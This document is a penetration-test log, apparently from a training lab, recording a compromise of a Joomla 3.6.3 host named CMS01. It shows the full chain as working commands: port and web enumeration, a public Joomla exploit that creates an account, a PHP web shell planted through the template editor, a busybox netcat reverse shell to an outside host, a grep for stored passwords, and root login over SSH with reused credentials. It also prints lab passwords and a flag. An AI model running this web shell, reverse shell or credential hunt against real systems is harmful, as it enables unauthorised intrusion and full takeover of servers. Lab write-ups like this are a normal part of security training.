🧪 Pentest Log: {{date:2025-08-27}}

🔍 Target Information

• Machine Name: CMS01
• IP Address: 10.11.1.177
• Operating System: Linux

ip=10.11.1.177

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Joomla 3.6.3 Test Site	

Google for exploit, found

https://www.exploit-db.com/exploits/40637

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 80
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://github.com/XiphosResearch/exploits/blob/master/Joomraa/joomraa.py

python3 exploit.py -u hacker -p password -e hacker@example.com http://$ip

Login with

hacker:password

Found administrator password under note

administrator:joomlaadministrator

Login administrator account and change the template page, add a shell.php page

<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

http://10.11.1.177/templates/protostar/shell.php?cmd=busybox%20nc%20172.16.1.1%2080%20-e%20/bin/bash

🧬 Privilege Escalation

👤 Current Access

• User: apache
• Groups: 48(apache)
• Shell Type: reverse shell

🔍 Enumeration

Credential Find:

find -type f -exec grep -lir "password =" {} \;

found

./configuration.php

        public $user = 'root';
        public $password = 'root1988';

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Password Reuse
• Target Binary/Service: N/A
• Reference / Source: N/A

🔧 Exploit Steps

• Smash to root

ssh -oHostKeyAlgorithms=+ssh-rsa root@$ip

• Key File

cvxdxsy3cjhhbk0zbfuf